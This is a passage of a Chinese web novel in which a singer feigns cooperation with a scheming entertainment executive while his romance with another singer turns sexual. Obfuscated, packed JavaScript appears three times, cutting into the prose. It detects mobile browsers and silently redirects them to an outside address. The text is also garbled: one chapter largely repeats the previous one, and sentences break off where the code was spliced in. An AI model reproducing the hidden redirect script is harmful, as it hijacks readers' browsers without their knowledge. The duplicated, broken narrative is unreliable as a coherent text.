;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13352674|131022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抬头对沈从南说:“你先看着,我出去一下。” “小尘哥。”沈从南从背后叫住他。 易卿尘转回头,他和沈从南好像没有输到用这样的称呼,况且刚刚这人还替自己解围。 “我们之前没怎么见过吧?” 沈从南不好意思地笑笑:“小尘哥你虽然没怎么见过我,我却每天听楚总提起你,不知不觉就仿佛和你认识很久了。” “嗯。”易卿尘礼貌地点点头,转身正欲离去,沈从南又追问了一句:“你要去哪儿?” 那询问的语气,似乎这个时候,他就应该寸步不离地守在楚言身边。 “我去给我男朋友打个电话。”易卿尘淡淡地答道。 沈从南张了张嘴,想要说什么,却终究咽回了肚子里。作为楚总的助理,他一直都知道,从始至终,那不过是楚总的单恋,可叹楚总那样雷霆万钧的大人物,竟然一直纵容一个小歌手不断伤害他的尊严。这次楚总死里逃生,沈从南隐隐觉得,也许一切都会变得不同。 不等沈从南再说什么,易卿尘抬脚走出了病房。 …… 这一夜似乎漫长得无边无际。满是气球彩带的总统套房此刻没有开灯,杨原野独自站在落地窗前,和漆黑的夜色融为一体。 他站了很久,却不觉得疲惫,只因心里七上八下,总感觉要出什么事儿似的。 嗡嗡—— 整晚攥着的手机终于响了。杨原野立马接起来,声音发紧:“喂?” “你睡了吗?” “我没睡呢,你那边怎么样了?” “刚手术完,人算是救回来了,只是还没渡过危险期,我暂时还走不开,今晚恐怕要待在医院了。” 杨原野心中说不清的滋味,轻声“嗯”了一声。 易卿尘立刻捕捉到他不安的情绪,说道:“我做这些,只是出于道义,没有任何一点儿别的心思。你别多想,我会尽快回去的。” “阿野,我爱你。” 杨原野的心找到了落脚点,安定了不少,语气也平缓了许多:“嗯,我知道。我不管别人,只在乎你,你别把自己累坏了。” “好,放心吧,那我先挂了,你早点睡吧。” 挂断电话,杨原野却毫无睡意。他下了楼,一个人漫无目的地在街上走着,不知不觉便到了一家KTV的后巷,从兜里摸出一支烟,散漫地倚靠在墙边,一片青白的烟雾中,堪堪理清些思绪。 回了京北之后,他还没来得及好好地和易卿尘说说话,两人之间那些亲密无间的吻仿佛都被渤海湾的海浪留在了生活的上一章。而京北,处处都是他这些年一个人孤单失意的影像。 他想要和易卿尘牵着手,走遍京北的大街小巷,用新的记忆覆盖旧的,把京北也变成甜的。 太在乎一个人,就会变得患得患失,只要易卿尘不在身边,他的整颗心就悬起来。 虽然几分钟以前,易卿尘刚刚才在电话里说过爱他,可他此刻又忍不住在担忧,过去这几分钟里,医院有没有发生什么事?易卿尘还爱他吗?还要他吗? 他恨不能把易卿尘时时刻刻揣在兜里,含在嘴里,才能踏实。 指尖香烟橙红色的光点又强烈地亮了起来,杨原野狠狠地吸了一口烟。香烟刚从鼻腔缓缓喷出来,便听到暗巷那头传来一阵激烈的吵嚷声。 本以为是小混混在打架,他不欲理会,可突然,一道女声让杨原野抽烟的手蓦地顿住了。 “救命!别碰我,救……唔……” 82.082 搭救 杨原野在见到高飞以前,猜想他混社会,玩女人,该是个丑陋的粗鄙莽夫。所以面对眼前端坐在老板椅里,戴着一副斯文黑框眼镜的男人,杨原野一时有些吃惊。果然人不可貌相,斯文败类就在面前。 高飞的办公室正对着无敌山景,超大办公桌对面,一套红木沙发紧挨墙壁,上方悬挂着一幅“行胜于言”的字画。 呵,意思就是“能动手就别吵吵”,杨原野收回视线。 高飞站起身,冲他伸出手,一身商务西装新得连条褶子都没有。 “杨老师,幸会幸会。” 杨原野同他握手,高飞的视线迅速扫过杨原野手背上的深疤,收回目光时,神色多了些警惕。 “高总好,别叫我老师,实在不敢当。今天多亏了白乐君小姐的引荐,才能和高总见面。” “谁?”高飞停顿了一秒才反应过来,“哦,你说小白啊。” 小白对于高飞来说,是眼下最舒服的一件衣服,但至于小白的大名叫什么,那并不值得他花心思去记。 “小白跟我说了,说你想签到尚星来。杨先生果然是个聪明人,姬波再怎么资历老,也比不上尚星这棵大树好乘凉,咱们公司的资源和手段你应该都是知道的。” “不瞒高总,”杨原野说,“我想签到尚星还有另一层考虑。我妈妈汪曼姿早年的几张专辑,几番辗转,版权现在都被尚星买走了,如果有幸加入尚星,我希望拿回那部分版权。” 杨原野说的也是真的,但却是他为了降低高飞防备心特意找的借口。他必须要对高飞有所求,还得是个不好办的事儿,对方才能反过来利用他,跟他谈价码。 果然,高飞复杂地变幻了表情,以退为进地说:“杨老师应该知道,汪曼姿曾经和莹蝶唱片当年闹到对簿公堂,尚星后来收购莹蝶时,承诺过不会将版权转卖给汪曼姿。你这个要求,恕我不能答应。” “高总,我是个孝子,那件事是我妈妈心中的一根刺,还请你务必成全我。”杨原野露出真诚的表情。 高飞假意思考半晌后,略显为难地说:“杨老师,这事儿也不是办不成,只是我眼下也有个难处,你要是能替我分忧,我自然也能成全你一片孝心。不仅如此,签约尚星,杨老师的身价我可以给到每年这个数。” 说罢,在纸上写下了一串数字。果然是个天价。 杨原野故意露出些惊喜贪婪的表情,迫不及待地问:“高总的难处就是我的难处,您尽管开口。” 在杨原野来之前,小白就和高飞说过,杨原野和易卿尘是旧相识,关系不错,只是后来易卿尘不告而别,在杨原野遭难的时候也没有只言片语,如今二人虽然一起参加节目,但关系似乎并不如传言的好。 这次楚默和宋小赢给他的指示,是想让易卿尘一步一步身败名裂,这比制造车祸直接取人性命更难办。高飞急需在易卿尘身边安插一把刀,没想到得来全不费工夫。 “现在《唱作人》的比赛这么火,杨老师要想夺冠,恐怕要清一清障碍了。” “高总指的是?” “大家都说,杨原野归来仍是王者,论人气和实力,眼下,只有易卿尘能和你争一争。你想不想跟我合作?对于挡路的人,干脆解决掉算了。” “解决掉?”杨原野问,“怎么解决?他也算我半个朋友。” “哈哈,”高飞一听就乐了,“半个朋友?连一个朋友都算不上。你放心,我不会要你去干杀人犯法的事儿,谁叫你的半个朋友得罪了我们小楚总,他这次不死也得扒层皮。” “你们是想……?” “在娱乐圈,要想让一个人身败名裂,有的是法子。我只需要杨老师帮我里应外合就成,咱们大家双赢。” 杨原野面露难色,“要是我帮了你,你到时候翻脸不认人,我的版权和合约要找谁去?” 高飞见杨原野的一双眼睛总忍不住盯着纸上的那一串数字看,高飞愈发高兴,答道:“咱们才认识,互相不信任很正常。不如这样,杨老师回去想一想,交一份投名状来,要是做的好,我先把1/3的钱打给你。怎么样,够大方吧?” “当真?”杨原野追问,“什么样的投名状?” “杨老师据说是京大高材生,这样的问题肯定比我更清楚。投名状嘛,就是要那种只有你能做到,别人做不到的事儿,如果被揭穿,能斩断你和易卿尘剩下的一半友情的事儿,具体做什么,你掂量着办。” 杨原野装作若有所思地点了点头。 抬腿离开高飞办公室之前,高飞补充说:“要快。我们老板没什么耐心,你要是不做,我自会找别人做。” “让小楚总放心,我一定叫他满意。”说完,杨原野冲高飞爽朗一笑,演活了一条上钩的鱼。 走出尚星娱乐大楼时,落日的余晖将天边的云朵涂成橙粉色。昨天的这个时候,杨原野正在丽兹卡尔顿的顶层套房写着告白情书。 兜里的手机响了,壁纸上是易卿尘温柔的笑脸,更胜晚霞千万倍。 “小尘,你忙完了?要我去接你吗?” 电话那头的声音略显疲惫,“楚家的司机已经把我送回家了,你在干嘛呢?” “我,嗯,我出来见个朋友,刚结束。” “哦,博博说,《唱作人》那边明天让过去一趟,有个采访,他也跟你说了吧?” 博博确实也给杨原野发了短信,“对,我知道。” “那你好好休息,咱们明天见?” “好。” 挂了电话,杨原野走去停车场,一路开车回自己的公寓去。车子开回公寓地下车库,杨原野迟迟没有下车,坐在车里待了一会儿,又把车开了出来,往帝京公馆驶去。 在帝京公馆的电梯里,杨原野的手机又响了。 易卿尘在电话那头轻声说:“阿野,我等不到明天了,见不到你,我心里不踏实。” 杨原野又何尝不是?过去这24小时发生了太多事,他想立刻见到易卿尘,看到他的表情,听到他的声音,在他身边,即使听他谈论关于楚言,也没关系。 “你在哪儿?我去找你好不好?”易卿尘问。 “宝贝开门。” “什么?” 叮咚——门铃响了。易卿尘跑去打开门,没想到杨原野就站在门口。 “什么时候把密码换回来?”杨原野笑着嗔怪他。 上次杨原野的新闻发布会之后,易卿尘一气之下换掉了大门密码,至今也没想起来改回来。 易卿尘把人拉进屋内,关上大门,一个转身就被杨原野紧紧搂在怀里,手机拿不稳掉在地上。 杨原野心有灵犀地跑来见他,易卿尘被惊喜带起了嘴角,埋首在杨原野的颈窝,直往更深处钻。 “现在踏实了吗?”杨原野问。 易卿尘软绵绵地“嗯”了声。 杨原野说:“可我不踏实。” “你怎么了?”易卿尘扬起脸,看着杨原野的眼睛。 “心慌,你给我治治。” 眨眼间,一双唇瓣被噙住了,杨原野霸道的舌头不由分说地撬开他的牙关,从细致柔情的品尝渐渐变成了贪婪热烈的索要。吻到两人都在凌乱地喘息,易卿尘的鼻尖渗出薄汗。 就这样在玄关腻味了好久,杨原野才换上拖鞋进了屋。 桌上摆着一片面包,还有刚从冰箱里拿出来没来得及去温的牛奶。 “还没吃晚饭?”杨原野问。 何止是晚饭,在医院的一天一夜,易卿尘几乎都没怎么吃东西,医院天然就会抑制食欲。易卿尘又饿又累,困得眼冒金星,本想蒙头大睡,可在被窝里翻来覆去怎么都睡不着。 脑子自己就会转,嗖嗖地一直在想,昨晚杨原野 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“肉来不及解冻了,况且你只爱吃草,就炒一个鸡蛋,一个素菜吧。对了,把电饭锅给我找出来,我焖点儿米饭。” 易卿尘眼睛一亮,会做饭的男人大大的加分,光是刚刚聊做饭那两句就已经非常撩人了。食色性也,这两件事还真是共通的。 他情不自禁地从背后贴住杨原野,软软地撒了个娇:“你怎么知道我只爱吃草?我又不是兔子。” “你不是兔子吗?”杨原野一转身,猛地将人打横抱起来,抬腿走进卧室,把易卿尘扔在大床上,“那么,哪天给你戴上兔耳朵,塞个圆尾巴,扮起来看你现不现原形……” “唔——走开——”易卿尘脑子里立刻跳出一幅羞死人了的画面,脸上一热,打了个滚儿就躲进了被窝,背对着人说:“快做饭去,我要吃胡萝卜。” 还说自己不是小兔子。 杨原野忽然很想吃兔兔,可想到兔兔还饿着肚子,只能先克制禽兽的欲望,啵儿了一口小兔子的脸蛋,转身去厨房制作晚餐。 厨房随即传来唰拉啦的水声,笃笃的切菜声,乒乒乓乓的锅具碰撞声,偶尔还有播放抖音做菜视频的声音。不一会儿蛋液下到热油中,兹拉一声带起满室的鸡蛋香。 易卿尘光是用耳朵听鼻子闻,就觉得杨原野厨艺绝佳,刚刚还翻来覆去睡不着,现在伴着饭菜的香味儿,安心又幸福,精神一松,困意排山倒海地袭来,眼皮就这么合上了。 不知道过了多久,易卿尘听见杨原野在耳边唤他:“小兔子,吃饭吗?” 可他的上下眼皮实在抬不起来,闭着眼睛哼哧:“困……” 杨原野俯下身子瞧着他。人类有这么浓密的睫毛吗?这家伙该不会是一只兔精吧?等等,兔兔有长睫毛吗? 杨原野抬手碰了碰易卿尘的睫毛,又将手指插进他的头发里,挠挠他的头皮,见还是闹不醒他,知道他真的累坏了,顿时心疼得一塌糊涂。 也不管自己是不是白忙活了一桌饭菜,凑到易卿尘耳边妥协道:“那就先睡吧,睡醒了再吃。” 易卿尘也不知听没听清,含混地“嗯”了一声。 霞光褪去,黑夜降临。杨原野本想关了台灯,拉上窗帘,就退出卧室的,可是小兔子的睡颜真是可口,他怎么也挪不动步了。 杨原野半分钟不到就把自己脱到只剩内裤,掀开被子跳进去,从背后把人捞入怀中。 “一起睡好吗,不说话就当你同意了。” 易卿尘动了两下,在他怀里找了个舒服的姿势,没一会儿,竟打起了小呼噜。 桌上是还冒着热气的晚饭,怀里是安心甜睡的美人,杨原野合上眼皮,想起白天高飞说的,要让易卿尘“身败名裂”、“不死也要扒层皮”,他攥了攥拳头。 我去年买了个表。 83.083 甜睡 杨原野在见到高飞以前,猜想他混社会,玩女人,该是个丑陋的粗鄙莽夫。所以面对眼前端坐在老板椅里,戴着一副斯文黑框眼镜的男人,杨原野一时有些吃惊。果然人不可貌相,斯文败类就在面前。 高飞的办公室正对着无敌山景,超大办公桌对面,一套红木沙发紧挨墙壁,上方悬挂着一幅“行胜于言”的字画。 呵,杨原野心想,那意思就是“能动手就别吵吵”。 高飞站起身,冲他伸出手,一身商务西装新得连条褶子都没有。 “杨老师,幸会幸会。” 杨原野同他握手,高飞的视线迅速扫过杨原野手背上的深疤,收回目光时,神色多了些警惕。 “高总好,别叫我老师,实在不敢当。今天多亏了白乐君小姐的引荐,才能和高总见面。” “谁?”高飞停顿了一秒才反应过来,“哦,你说小白啊。” 小白对高飞来说,是眼下最舒服的一件衣服,但至于小白的大名叫什么,那并不值得他花心思记。 “小白跟我说了,说你想签到尚星来。杨先生果然是个聪明人,姬波再怎么资历老,也比不上尚星这棵大树好乘凉,咱们公司的资源和手段你应该都是知道的。” “不瞒高总,”杨原野说,“我想签到尚星还有另一层考虑。我妈妈汪曼姿早年的几张专辑,几番辗转,版权现在都被尚星买走了,如果有幸加入尚星,我希望拿回那部分版权。” 杨原野说的也是真的,但却是他为了降低高飞防备心特意找的借口。他必须要对高飞有所求,还得是个不好办的事儿,对方才能反过来利用他,跟他谈价码。 果然,高飞复杂地变幻了表情,以退为进地说:“杨老师应该知道,汪曼姿曾经和莹蝶唱片当年闹到对簿公堂,尚星后来收购莹蝶时,承诺过不会将版权转卖给汪曼姿。你这个要求,恕我不能答应。” “高总,我是个孝子,那件事是我妈妈心中的一根刺,还请你务必成全我。”杨原野露出真诚的表情。 高飞假意思考半晌后,略显为难地说:“杨老师,这事儿也不是办不成,只是我眼下也有个难处,你要是能替我分忧,我自然也能成全你一片孝心。不仅如此,签约尚星,杨老师的身价我可以给到每年这个数。” 说罢,在纸上写下了一串数字。果然是个天价。 杨原野故意露出些惊喜贪婪的表情,迫不及待地问:“高总的难处就是我的难处,您尽管开口。” 在杨原野来之前,小白就和高飞说过,杨原野和易卿尘是旧相识,关系不错,只是后来易卿尘不告而别,在杨原野遭难的时候也没有只言片语,如今二人虽然一起参加节目,但关系似乎并不如传言的好。 这次楚默和宋小赢给他的指示,是想让易卿尘一步一步身败名裂,这比制造车祸直接取人性命更难办。高飞急需在易卿尘身边安插一把刀,没想到得来全不费工夫。 “现在《唱作人》的比赛这么火,杨老师要想夺冠,恐怕要清一清障碍了。” “高总指的是?” “大家都说,杨原野归来仍是王者,论人气和实力,眼下,只有易卿尘能和你争一争。你想不想跟我合作?对于挡路的人,干脆解决掉算了。” “解决掉?”杨原野问,“怎么解决?他也算我半个朋友。” “哈哈,”高飞一听就乐了,“半个朋友?连一个朋友都算不上。你放心,我不会要你去干杀人犯法的事儿,谁叫你的半个朋友得罪了我们小楚总,他这次不死也得扒层皮。” “你们是想……?” “在娱乐圈,要想让一个人身败名裂,有的是法子。我只需要杨老师帮我里应外合就成,咱们大家双赢。” 杨原野面露难色,“要是我帮了你,你到时候翻脸不认人,我的版权和合约要找谁去?” 高飞见杨原野的一双眼睛总忍不住盯着纸上的那一串数字看,高飞愈发高兴,答道:“咱们才认识,互相不信任很正常。不如这样,杨老师回去想一想,交一份投名状来,要是做的好,我先把1/3的钱打给你。怎么样,够大方吧?” “当真?”杨原野追问,“什么样的投名状?” “杨老师据说是京大高材生,这样的问题肯定比我更清楚。投名状嘛,就是要那种只有你能做到,别人做不到的事儿,如果被揭穿,能斩断你和易卿尘剩下的一半友情的事儿,具体做什么,你掂量着办。” 杨原野装作若有所思地点了点头。 抬腿离开高飞办公室之前,高飞补充说:“要快。我们老板没什么耐心,你要是不做,我自会找别人做。” “让小楚总放心,我一定叫他满意。”说完,杨原野冲高飞爽朗一笑,演活了一条上钩的鱼。 走出尚星娱乐大楼时,落日的余晖将天边的云朵涂成橙粉色。昨天的这个时候,杨原野正在丽兹卡尔顿的顶层套房写着告白情书。 兜里的手机响了,壁纸上是易卿尘温柔的笑脸,更胜晚霞千万倍。 “小尘,你忙完了?要我去接你吗?” 电话那头的声音略显疲惫,“楚家的司机已经把我送回家了,你在干嘛呢?” “我,嗯,我出来见个朋友,刚结束。” “哦,博博说,《唱作人》那边明天让过去一趟,有个采访,他也跟你说了吧?” 博博确实也给杨原野发了短信,“对,我知道。” “那你好好休息,咱们明天见?” “好。” 挂了电话,杨原野走去停车场,一路开车回自己的公寓去。车子开回公寓地下车库,杨原野迟迟没有下车,坐在车里待了一会儿,又把车开了出来,往帝京公馆驶去。 在帝京公馆的电梯里,杨原野的手机又响了。 易卿尘在电话那头轻声说:“阿野,我等不到明天了,见不到你,我心里不踏实。” 杨原野又何尝不是?过去这24小时发生了太多事,他想立刻见到易卿尘,看到他的表情,听到他的声音,在他身边,即使听他谈论关于楚言,也没关系。 “你在哪儿?我去找你好不好?”易卿尘问。 “宝贝开门。” “什么?” 叮咚——门铃响了。易卿尘跑去打开门,没想到杨原野就站在门口。 “什么时候把密码换回来?”杨原野笑着嗔怪他。 上次杨原野的新闻发布会之后,易卿尘一气之下换掉了大门密码,至今也没想起来改回来。 易卿尘把人拉进屋内,关上大门,一个转身就被杨原野紧紧搂在怀里,手机拿不稳掉在地上。 杨原野心有灵犀地跑来见他,易卿尘被惊喜带起了嘴角,埋首在杨原野的颈窝,直往更深处钻。 “现在踏实了吗?”杨原野问。 易卿尘软绵绵地“嗯”了声。 杨原野说:“可我不踏实。” “你怎么了?”易卿尘扬起脸,看着杨原野的眼睛。 “心慌,你给我治治。” 眨眼间,一双唇瓣被噙住了,杨原野霸道的舌头不由分说地撬开他的牙关,从细致柔情的品尝渐渐变成了贪婪热烈的索要。吻到两人都在凌乱地喘息,易卿尘的鼻尖渗出薄汗。 就这样在玄关腻味了好久,杨原野才换上拖鞋进了屋。 桌上摆着一片面包,还有刚从冰箱里拿出来没来得及去温的牛奶。 “还没吃晚饭?”杨原野问。 何止是晚饭,在医院的一天一夜,易卿尘几乎都没怎么吃东西,医院天然就会抑制食欲。易卿尘又饿又累,困得眼冒金星,本想蒙头大睡,可在被窝里翻来覆去怎么都睡不着。 脑子自己就会转,嗖嗖地一直在想,昨晚杨原野在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“唔——走开——”易卿尘脑子里立刻跳出一幅羞死人了的画面,脸上一热,打了个滚儿就躲进了被窝,背对着人说:“快做饭去,我要吃胡萝卜。” 还说自己不是小兔子。 杨原野忽然很想吃兔兔,可想到兔兔还饿着肚子,只能先克制禽兽的欲望,啵儿了一口小兔子的脸蛋,转身去厨房制作晚餐。 厨房随即传来唰拉啦的水声,笃笃的切菜声,乒乒乓乓的锅具碰撞声,偶尔还有播放抖音做菜视频的声音。不一会儿蛋液下到热油中,兹拉一声带起满室的鸡蛋香。 易卿尘光是用耳朵听鼻子闻,就觉得杨原野厨艺绝佳,刚刚还翻来覆去睡不着,现在伴着饭菜的香味儿,安心又幸福,精神一松,困意排山倒海地袭来,眼皮就这么合上了。 不知道过了多久,易卿尘听见杨原野在耳边唤他:“小兔子,吃饭吗?” 可他的上下眼皮实在抬不起来,闭着眼睛哼哧:“困……” 杨原野俯下身子瞧着他。人类有这么浓密的睫毛吗?这家伙该不会是一只兔精吧?等等,兔兔有长睫毛吗? 杨原野抬手碰了碰易卿尘的睫毛,又将手指插进他的头发里,挠挠他的头皮,见还是闹不醒他,知道他真的累坏了,顿时心疼得一塌糊涂。 也不管自己是不是白忙活了一桌饭菜,凑到易卿尘耳边妥协道:“那就先睡吧,睡醒了再吃。” 易卿尘也不知听没听清,含混地“嗯”了一声。 霞光褪去,黑夜降临。杨原野本想关了台灯,拉上窗帘,就退出卧室的,可是小兔子的睡颜真是可口,他怎么也挪不动步了。 杨原野半分钟不到就把自己脱到只剩内裤,掀开被子跳进去,从背后把人捞入怀中。 “一起睡好吗,不说话就当你同意了。” 易卿尘动了两下,在他怀里找了个舒服的姿势,没一会儿,竟打起了小呼噜。 桌上是还冒着热气的晚饭,怀里是安心甜睡的美人,杨原野合上眼皮,想起白天高飞说的,要让易卿尘“身败名裂”、“不死也要扒层皮”,他攥了攥拳头。 我去年买了个表。 84.084 滋润 如果说清晨的第一缕阳光像暗恋般羞怯,那么早上九点钟的旭日就如热恋般灿烂。 灿阳照在易卿尘的脸上,他已经很久没睡得这么饱了,斜睨了眼墙壁上的挂钟,六点到九点,他竟然睡了有十五个小时。被窝柔软温暖,他满足地翻了个身,一阵小风吹来,带起了头上两根呆毛。 欸?怎么会有风?是昨天忘记关窗吗? 他稍稍坐起身子一看,杨原野正站在窗前抽烟。好一副模特身材,宽肩窄腰大长腿,浑身上下的肌肉线条流畅又紧致,一串腹肌一路向下,隐匿在黑色子弹头内裤里,各个角度看都是杂志大片的水平。 等等,他为什么只穿了条内裤,相当于半裸着站在我的卧室里? 易卿尘光速掀开被子往里一瞅—— “我靠!” 白花花一片,除了一条内裤,他自己也光溜溜的像一条绢丝豆腐。 杨原野闻声望了过来,慢悠悠地吐出一个漂亮的烟圈儿,带出一抹笑意:“鬼叫什么?” “你,你这抽的是……事后烟?” 易卿尘慌的一批。 倒不是他不肯给他上,问题的关键是,他想不起来了啊,这怎么可以?为了这一炮,又是暧昧期,又是仪式感,一波三折,都快给他搞疯了,最后就这?完事了? 杨原野走过来,坐在床边,捞过他因为震惊而合不拢的O形嘴,狠嘬了一口。 “嗯,你要不要也来一根?” 杨原野居然没否认!真的是事后烟…… 易卿尘瞬间颓了,这种心情是该配一根烟。反正电影里都是这么演的,再来一段惆怅的配乐。 这心情怎么说呢?就好像杨原野和他说好,到了春天就一起去骑车,为此又是计划路线,又是购买装备,又是焚香沐浴,然后一觉醒来,对方说车昨晚我自己骑了,春天快乐! 你这个叛徒,发春快乐。 “行,给我来一根吧。” 杨原野把自己手里这根抽了半截的烟递给他,易卿尘没抽过烟,心想估计抽烟就跟用吸管喝可乐一样吧? 用力一吸—— 咳!咳!咳!!差点把肺呛翻了,好悬没憋死他。 “怎么抽个烟这么难?”眼泪被呛得翻在眼角,晶莹得梨花带雨。 杨原野一边笑他,一边用指腹轻柔地揩去了他眼角的泪。 “来,我教你。” “先少吸一点儿到嘴里。” 易卿尘听话地只吸了一小口,杨原野上手用两指捏住了他的鼻子,“像平常呼吸那样,用嘴吸气。” 吸—— “嗯,这就过肺了。” 先吸到嘴里,再吸气,每次有咳无法控制要咳嗽的感觉,就停止呼吸,把烟吐出来。 看易卿尘抽烟是种很奇特的观感,如果说别人抽烟,是广袤荒原里的青白狼烟,那易卿尘抽烟就是富士山雪顶的云雾。一张粉白的脸、纯情的嘴巴吞吞吐吐,像一句精巧别致的回文,雾锁山头山锁雾,回环往复,把杨原野的目光全锁了去。 易卿尘像是学会一项了不起的新技能,莫名有点儿兴奋。很快抽完了那半截烟,伸出手心冲杨原野又讨一根。 杨原野抓起沙发上自己的衬衫,递给易卿尘:“穿上。” 呵,让他穿他的衬衫,才肯再给一支烟吗? 真是羞耻的恶趣味。 易卿尘跪坐在床上,套上宽大的衬衫,随意系了两颗纽扣,春光撩人。 杨原野又点着一根烟,易卿尘接过来,放进嘴巴里,烟在指尖忽明忽暗,这时,只听一声清脆的快门声。 “你拍我干嘛?” 杨原野没答话,端着手机,变换着角度又拍了几张。 这是什么事后play?易卿尘眨巴眨巴眼睛,还没反应过来,指间夹着的烟就被抽走了。 “别抽了,”杨原野摁灭了橙红色的烟头,“抽烟对嗓子不好,你玩玩儿得了,以后不许抽。” 那你还教我……易卿尘悻悻地撇了撇嘴。 “怎么,不高兴了?”杨原野凑过来,结实的胳膊轻轻松松环住他的一抹细腰,把他圈在怀里。 易卿尘任性地不说话。 “饿了吗?”杨原野温声问。 易卿尘想起昨天杨原野做的晚饭,他好像一口都没吃,忽然觉得有点儿愧疚,于是扭过头说:“嗯,饿了,你呢?” “我也饿了。” “那你想吃什么?早饭换我做?” 杨原野不由分说把他扑倒压在床上,呼吸倾吐在耳畔:“我想吃兔兔。你给我吃。” “啊……”易卿尘的脸腾地一下红了,支支吾吾,“你昨晚不是刚吃了,还吃?” 一声轻笑溢出鼻腔,杨原野坏笑着说:“我逗你的,昨晚什么都没做。” “我要是做了,你能不醒吗?你当我是根火柴?” 易卿尘想象了一下,憋不住笑出了声,心中一喜,傻乎乎地说道:“也对哦。” “宝宝,你要不要验验货?” 杨原野忽然欺近,黑亮的眸子像头桀骜的狼,毫不收敛眸里的想要,弥散在每一颗烟草味的空气分子里。 易卿尘招架不住,羞得耳朵根都烧红了,说不出口那些情话,在他欺近时闭上眼睛,算作默许。情愫如同密织的蛛网,距离消失于无形。 阳光在地板上拉出菱形的影子,易卿尘错觉自己要被撕碎,想要逃走。可杨原野太狡猾,变着方儿的哄他,他不由自主就又信了。 三小时后,易卿尘尝到了轻信的恶果。他瘫着身体泡在热水里,却仍错觉视线还在晃动,勉强咽了口唾液,忍着嗓子眼的刺痛,哑着声问:“一会儿要怎么去采访?” 《唱作人》节目组的参访录影就是今天。杨原野的眼里倒映着爱人的身影,时间确实来不及了,他强逼自己保持冷静,低头老老实实地给人洗头发擦身子。 水中一股异样,易卿尘倒抽一口凉气,又羞又气,“杨原野!你,混蛋……” “家里不是没有那个吗……”杨原野心虚地反驳了一句。 “我怎么会备那东西?就算没有,你不会弄在外面吗?” “哦,你太紧了,我没忍住……” 一次没忍住,两次没忍住,怎么次次都忍不住?男人这种生物,脱了裤子就兽性泛滥。 等等,他自己也是男人…… 两人都洗好了,换完衣服,博博正好按响了门铃。 “欸?小野哥也在呀!”博博兴奋地说,“早知道这样,就让易老师坐小野哥的车去影视基地好了,我和陆师傅直接过去能少绕一大圈。小野哥,你怎么也过来不跟我说一声?” “哦,这不是一直在忙,没有时间嘛。”杨原野说完,瞅了一眼易卿尘。 博博也在拿眼睛打量着他,“易老师,你今天怎么看起来有点儿不一样呢?” 完了,不会被看出来了吧?刚被折腾了那么久,能不露出破绽才怪。 易卿尘清了清嗓子,略显紧张地说道:“那个,我昨晚没睡好,一会儿得让化妆师帮我打个厚粉底。” “不是啊,我是说,易老师怎么今天看着气色特别好,皮肤红润,整个人都在发亮耶,”博博拍了拍杨原野的肩,“小野哥,你说是不是?” “嗯,”杨原野用力点了点头,“主要是睡得好。” 易卿尘:…… 他以前确实听人说“好气色,是睡出来的。”难道竟是真的?生命的大和谐,助力永葆青春。 三人一起坐电梯下楼,到了一楼,眼看就要暂时和易卿尘分开,虽然只是去影视基地的一个小时路程,杨原野也舍不得。 偷偷将人拽到博博身后,杨原野握着一把细腰,在易卿尘红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13444948|131022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 润发亮的脸蛋上亲了一口。 “咳咳,电梯门会反光,你俩还不知道吧?” 博博转着小眼睛揶揄道。 易卿尘慌忙挣脱杨原野的怀抱,拉着博博出了电梯。 杨原野继续坐电梯来到了地下车库,车子驶出地库,手机才有了信号。杨原野在路上用车载电话拨了个号码。 “小白,今晚能来一趟影视基地吗?” “嗯,我给高飞的投名状,得麻烦你亲自来拿一下。” - 《中国唱作人》进入总决赛赛段,广告商一下子变得多了起来。今天节目组把大家聚在一起,也是为了多拍一些素材,一来增加节目时长,二来好植入各种广告。 大家正在备采,江琳达走了进来。上次外拍迷宫时意外摔伤后,她抱憾缺席了上一期的比赛。这次,粉丝们又集体把她投票复活了。 杨原野上下打量着她,想起前几天小白说,江琳达流产了。他当时就觉得这个女人有问题,于是拜托了季淮山去帮忙调查,没想到季淮山冲口而出的话把杨原野吓了一跳。 “江琳达是江鸿同父异母的妹妹,最近刚认回来的,香港的江宅最近都快被这事儿给掀翻了,江鸿也回港了。” 直觉告诉杨原野,这女人很不简单,不着声色地就把流产的事赖在了易卿尘头上,表面是柔弱小白花,背地里心机太深,在还没摸清她的底细之前,还是躲远点好。 见江琳达重返比赛,大家纷纷走过去慰问寒暄。易卿尘刚抬脚往那边走,就被杨原野拉了回来。 “拉我干嘛?” 杨原野找个借口拦住他,“你帮我看看,我这个麦的线,好像缠住了。” 易卿尘摸了一圈杨原野的腰,捋了一圈麦克风的线,疑惑道:“这不是挺好的吗?” 说完,易卿尘又想往江琳达那边走,杨原野还是不许。 “你干嘛总拦我?上次琳达受伤,我也有责任。”易卿尘说,“她回来了,我得去关心一下吧。” “男女授受不亲,你就在这儿待着,本来你的人设就是‘清冷’,没人会注意的,别给我搞出什么绯闻来。” “你瞎说什么呢?” 易卿尘脑子嗡嗡的,挤眉弄眼暗示杨原野管好嘴巴。这都连着麦呢,杨原野说的都会被录下来,导演组实时监听。 